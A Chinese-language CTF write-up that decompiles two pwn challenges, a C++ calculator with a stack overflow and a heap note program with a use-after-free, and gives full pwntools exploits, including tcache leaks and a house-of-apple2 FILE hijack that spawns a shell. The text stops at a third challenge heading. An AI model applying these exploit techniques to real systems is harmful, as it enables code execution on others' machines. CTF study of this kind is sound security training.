非常好国际比赛,使我记忆恢复。
0x01 Super CPP Calc
分析
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { char v3[28]; int v4;
v4 = 0; Calculator::Calculator((Calculator *)v3); setup(); while ( 1 ) { while ( 1 ) { banner(); printf("> "); __isoc99_scanf("%d", &v4); if ( v4 != 1337 ) break; Calculator::Backdoor((Calculator *)v3); } if ( v4 <= 1337 ) { if ( v4 == 1 ) { Calculator::setnumber_floater((Calculator *)v3); } else if ( v4 == 2 ) { Calculator::setnumber_integer((Calculator *)v3); } } } }
|
程序应该是初始化了一个Calculator类,其中包含三个成员函数,并对成员变量进行了初始化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| void __fastcall Calculator::Calculator(Calculator *this) { *(_DWORD *)this = 0; *((_DWORD *)this + 1) = 0; *((_DWORD *)this + 2) = 0; *((_DWORD *)this + 3) = 0; *((_DWORD *)this + 4) = 0; *((_DWORD *)this + 5) = 0; *(_DWORD *)this = 0; *((_DWORD *)this + 1) = 0; *((_DWORD *)this + 2) = 0; *((_DWORD *)this + 3) = 0; *((_DWORD *)this + 4) = 0; *((_DWORD *)this + 5) = 0; *((_DWORD *)this + 6) = 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ssize_t __fastcall Calculator::Backdoor(Calculator *this) { ssize_t result; __int64 buf[128];
memset(buf, 0, sizeof(buf)); result = *((unsigned int *)this + 6); if ( (_DWORD)result ) { puts("Create note"); printf("> "); return read(0, buf, *((int *)this + 6)); } return result; }
|
backdoor中存在一个潜在的栈溢出,前提是能控制this+6大于0x410
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __int64 __fastcall Calculator::setnumber_floater(Calculator *this) { __int64 result;
puts("Floater Calculator"); printf("> "); __isoc99_scanf("%f", (char *)this + 12); printf("> "); __isoc99_scanf("%f", (char *)this + 16); if ( *((float *)this + 3) < 0.0 || *((float *)this + 4) < 0.0 || *((float *)this + 3) > 10.0 || *((float *)this + 4) > 10.0 ) { printf("No Hack"); exit(1); } if ( (unsigned __int8)checkDecimalPlaces(*((float *)this + 3)) != 1 ) { *((_DWORD *)this + 3) = 1065353216; *((_DWORD *)this + 4) = 1065353216; } *((float *)this + 5) = *((float *)this + 3) / *((float *)this + 4); *((_DWORD *)this + 6) = (int)*((float *)this + 5); result = *((unsigned int *)this + 6); if ( (int)result < 0 ) { result = (__int64)this; --*((_DWORD *)this + 6); } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Calculator *__fastcall Calculator::setnumber_integer(Calculator *this) { Calculator *result;
puts("Integer Calculator"); printf("> "); __isoc99_scanf("%d", this); printf("> "); __isoc99_scanf("%d", (char *)this + 4); if ( *(int *)this < 0 || *((int *)this + 1) < 0 || *(int *)this > 10 || *((int *)this + 1) > 10 ) { printf("No Hack"); exit(1); } *((_DWORD *)this + 2) = *((_DWORD *)this + 1) + *(_DWORD *)this; result = this; *((_DWORD *)this + 6) = *((_DWORD *)this + 2); return result; }
|
输入的数据限制了不能小于零不能大于十,那么整型加法就没法凑出需要的大小了。但是浮点数运算是除法,所以也许有机可乘。但是注意看运算中间有个检查,简单来讲就是检查this+3这个数的小数位数是否不为一,如果满足,则替换数字,这样运算出来的结果永远是1,显然我们要让第一个输入的数据小数位只有一个数,第二个数则无所谓。所以输入9.9和0.001就够大了。很简单的逻辑漏洞。注意一下栈平衡问题即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
r = process('CPPCalc')
r.recvuntil(b'>') r.sendline(b'1')
r.recvuntil(b'>') r.sendline(b'9.9') r.recvuntil(b'>') r.sendline(b'0.001')
r.recvuntil(b'>') r.sendline(b'1337')
payload = b'a'*0x408+p64(0x401748) r.sendline(payload)
r.interactive()
|
0x02 shadow
题目
题目环境是ubuntu22.04,即glibc2.35
我给部分函数更改了名字,并且写了一些注释方便理解。
1 2 3 4 5 6 7 8 9 10 11
| __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v3; __int64 retaddr;
init1(retaddr); setbuf(); chal(retaddr, (__int64)a2, v3); RFG_chk(retaddr); return 0LL; }
|
RFG_chk
这个函数是根据我自己理解改的名字,最近刚好看了一点windows pwn的知识,其中有一个保护机制叫RFG,工作原理是保存当前栈帧的返回地址,并在函数返回时对比返回地址是否正确。这个程序里的RFG_chk
就是手动实现了这个功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| _QWORD *__fastcall init1(__int64 a1) { __int64 v1; __int64 v2; _QWORD *result; _QWORD *v4;
v4 = malloc(0x10uLL); *v4 = a1; v4[1] = malloc(0x10uLL); v1 = count++; v2 = v1; result = v4; chunk_list[v2] = v4; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| __int64 __fastcall chal(__int64 a1, __int64 *a2, __int64 a3) { __int64 *v3; __int64 v5; __int64 v6[2]; __int64 retaddr;
v6[1] = __readfsqword(0x28u); v6[0] = 2LL; v3 = (__int64 *)retaddr; init1(retaddr); while ( 1 ) { menu(v3, a2); a2 = &v5; v3 = (__int64 *)&choice; __isoc99_scanf(&choice, &v5); if ( v5 == 3 ) break; if ( v5 > 3 ) goto LABEL_9; if ( v5 == 1 ) { edit(); } else if ( v5 == 2 ) { v3 = v6; show(v6); } else { LABEL_9: v3 = (__int64 *)"Wrong."; puts("Wrong."); } } sub_13E0(); return RFG_chk(retaddr); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 edit() { __int64 v1; __int64 v2; unsigned __int64 v3; __int64 retaddr;
v3 = __readfsqword(0x28u); init1(retaddr); printf("index: "); __isoc99_scanf(&choice, &v1); v2 = chunk_list[v1]; getchar(); printf("msg: "); myread(*(_QWORD *)(v2 + 8)); RFG_chk(retaddr); return v3 - __readfsqword(0x28u); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned __int64 __fastcall show(_QWORD *a1) { __int64 v2; __int64 v3; unsigned __int64 v4; void *retaddr;
v4 = __readfsqword(0x28u); init1((__int64)retaddr); if ( *a1 ) { --*a1; printf("index: "); __isoc99_scanf(&choice, &v2); v3 = chunk_list[v2]; puts("=== shadow msg ==="); printf("%s\n\n", *(const char **)(v3 + 8)); } else { puts("don't look anymore!"); } RFG_chk(retaddr); return v4 - __readfsqword(0x28u); }
|
思路
很显然程序有UAF漏洞,所以可以通过tcache attack泄露堆地址和libc地址。这边详细讲讲泄露libc地址。程序每次申请堆块一定是两两申请,并且每个大小都是0x20固定。edit和show函数都是对每次申请的第二个chunk进行操作。准确来说,是从第一个chunk中取第二个chunk的地址,并进行操作。我们逐步分析。
程序初始执行到菜单时heap分布如下:
0x290处的chunk在chunklist中下标为0,如果对其进行操作,比如show,那么就会打印出红框框起来的地址处的内容,对应第二个chunk,然后这个chunk是不在chunklist中的。同理,0x2d0处的chunk在list中,但是操作的是0x300处。
那么泄露堆地址的思路很简单,只要有chunk被释放进tcachebin,被释放chunk的fd处就会有加密后的堆地址。
我们经过一个edit操作之后,会多了两组被释放的chunk。红框对应的地址在list中下标为2,会泄露出来绿色框地址处的堆地址。记得解密。
然后我们劫持一个chunk的[1]处,edit修改为堆地址+0x2a0,show被劫持的那个chunk我们就能泄露main_areana附近的地址了。
因为chunklist在bss段,并且可以下标越界,所以选择打到stderr,劫持stdout的FILE进行house of apple2。apple2的相关内容在另一篇文章详细展开记录。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * r = process('./prob')
context(arch='amd64', os='linux', log_level='debug') e = ELF('./prob') libc = ELF('./libc.so.6')
def menu(index): r.recvuntil(b'>') r.sendline(str(index).encode())
def edit(index, msg): menu(1) r.recvuntil(b'index:', timeout=1) r.sendline(str(index).encode()) r.recvuntil(b'msg:', timeout=1) r.sendline(msg)
def show(index): menu(2) r.recvuntil(b'index:') r.sendline(str(index).encode()) r.recvuntil(b'=== shadow msg ===\n')
def decrypt(c): key = p8(c[0] ^ 0x60) key += p8(c[1] ^ (((key[0] << 4) & 0xff) | 0x3)) key += p8(c[2] ^ (((key[1] << 4) & 0xff) | (key[0] >> 4))) key += p8(c[3] ^ (((key[2] << 4) & 0xff) | (key[1] >> 4))) key += p8(c[4] ^ (((key[3] << 4) & 0xff) | (key[2] >> 4))) key = u64(key.ljust(8, b'\x00')) heap = key << 12 return heap
edit(0, b'deadbeef') show(2)
heap_c = r.recv(6) heap = decrypt(heap_c) success(hex(heap))
edit(0, b'a'*0x28+p64(heap+0x2a0)) show(1) libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x29d90 success(hex(libc_base))
fake_file = flat({ 0x0: b' sh;', 0x10: p64(libc_base + libc.symbols['system']), 0x20: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),
0x88: p64(libc_base + 0x21ca70), 0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']), 0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] + 0x10), 0xe0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']-8), }, filler=b"\x00")
edit(-4, b'a'*0x5d+fake_file)
r.interactive()
|
然后Qanux师傅给出了一个利用stdout泄露libc的非预期:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import * from LibcSearcher import * from ctypes import * from struct import pack import numpy as np import base64 from bisect import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
elf = ELF('./prob') libc = ELF('./libc.so.6')
def lg(buf): global heap_base global libc_base global target global temp global stack global leak log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def menu(index): p.recvuntil(b'>') p.sendline(str(index).encode())
def edit(index, msg): menu(1) p.recvuntil(b'index:', timeout=1) p.sendline(str(index).encode()) p.recvuntil(b'msg:', timeout=1) p.sendline(msg)
def show(index): menu(2) p.recvuntil(b'index:') p.sendline(str(index).encode())
def decrypt(cry): ans = cry for i in range(3): ans = (ans >> 12) ^ cry return ans
leak = 0
while True: p = process('./prob') edit(-4, b'a'*0x5d+p64(0xfbad1800) + p64(0)*3+b'\x00') try: leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'), timeout=1) except: p.close() continue try: if hex(leak)[-2] != '2' or hex(leak)[-1] != '0' or hex(leak)[-3] != 'b': raise ValueError("leak libc error") except: p.close() continue
lg("leak") libc_base = leak - 0x219B20 lg("libc_base")
fake_file = flat({ 0x0: b' sh;', 0x8: p64(libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x10), 0x28: p64(libc_base + libc.symbols['system']),
0x88: p64(libc_base + libc.symbols['_environ']-0x10), 0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x40), 0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20), }, filler=b"\x00")
edit(-4, b'\x00'*0x5d+fake_file)
p.interactive() break
|
0x03 User_management